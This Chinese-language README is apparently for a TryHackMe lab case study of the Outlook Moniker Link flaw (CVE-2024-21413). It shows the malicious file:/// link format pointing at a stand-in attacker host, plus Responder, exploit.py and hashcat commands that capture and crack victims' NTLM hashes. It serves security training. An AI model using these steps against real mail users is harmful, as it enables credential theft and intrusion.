CVE-2024-21413 的案例研究。以 TryHackMe 的 Moniker Link(CVE-2024-21413)房间作为参数。使用 claude code 对 exploit 进行了编辑。
⚠️ 免责声明: 本仓库仅供安全教育和研究之用。所有演示均在受控且隔离的环境中进行。未经明确授权对系统使用这些技术是非法且不道德的。
| 字段 | 详情 |
|---|---|
| CVE | CVE-2024-21413 |
| 披露日期 | 2024 年 2 月 13 日(Patch Tuesday) |
| CVSS 评分 | 9.8(严重) |
| 受影响产品 | Microsoft Outlook |
| 漏洞类型 | RCE + 凭据泄露(NTLM Hash) |
| 攻击向量 | 网络 / 电子邮件(无需预先认证) |
| 用户交互 | 需要用户交互(点击链接) |
| 别名 | Moniker Link |
CVE-2024-21413 是 Microsoft Outlook 中的一个严重漏洞,使攻击者能够:
“Moniker Link” 这一名称源于对 Component Object Model (COM) Monikers(Windows 中通过字符串引用对象的机制)的利用,以绕过 Outlook 对 file:// 链接的保护。
通常,Outlook 会阻止指向网络资源的 file:// 链接,并显示安全警告(受保护视图)。该缺陷在于 Outlook 处理包含 ! 字符(Moniker 分隔符)的 URL 的方式。
恶意链接格式如下:
file:///\\ATTACKER_IP\share\!something
! 字符会使 Outlook 的解析器将 URL 解释为对 COM Moniker 的引用,从而绕过常规安全检查。结果如下:
攻击者发送邮件 → 受害者点击链接 → Outlook 处理包含 "!" 的 URL
→ 绕过受保护视图 → 自动 SMB 连接 → 捕获 NTLM Hash
为安全地复现此案例研究:
| 机器 | 操作系统 | 角色 |
|---|---|---|
| 攻击机 | Kali Linux | SMB 监听 + Exploit |
| 目标机 | 装有易受攻击 Outlook 的 Windows 10/11 | 受害者 |
重要提示: 请使用隔离网络(VirtualBox/VMware 中的 NAT 或 Host-Only 模式)。切勿在真实网络上执行。
# Responder —— 用于捕获 Hash 的 SMB/HTTP 监听器
sudo apt install responder
# Python 3 —— 用于运行 exploit
python3 --version
# 检查机器之间的连通性
ping <IP_ALVO>
ip a | grep inet
# 记下与目标通信的接口 IP(例如:192.168.56.10)
Responder 会创建一个伪造的 SMB 服务器,用于捕获 NTLM 认证 Hash。
sudo responder -I eth0 -v
# 将 eth0 替换为你的网络接口
预期输出:
[+] Listening for events...
[SMB] NTLMv2-SSP Client : 192.168.56.20
[SMB] NTLMv2-SSP Username : DESKTOP-ALVO\usuario
[SMB] NTLMv2-SSP Hash : usuario::DESKTOP-ALVO:...
python3 exploit.py \
--sender [email protected] \
--recipient [email protected] \
--server <IP_SERVIDOR_EMAIL> \
--attacker-ip 192.168.56.10
当受害者打开邮件并点击链接时,Responder 会自动捕获 NTLM Hash。该 Hash 可用于:
hashcat -m 5600 hash.txt wordlist.txt
查看 exploit.py 文件获取完整且带注释的脚本。
查看 diagrama-ataque.html 文件,获取整个攻击流程的交互式可视化。
查看 MITIGACAO.md 文件,获取完整的缓解与防御指南。
查看 CVE-BREAKDOWN.md 文件,获取该漏洞的详细技术分析。
本案例研究是 TryHackMe 实战攻防安全培训的一部分。
本项目遵循**负责任披露(responsible disclosure)与道德黑客(ethical hacking)**原则。此处所有内容旨在促进教育并提升安全防护水平。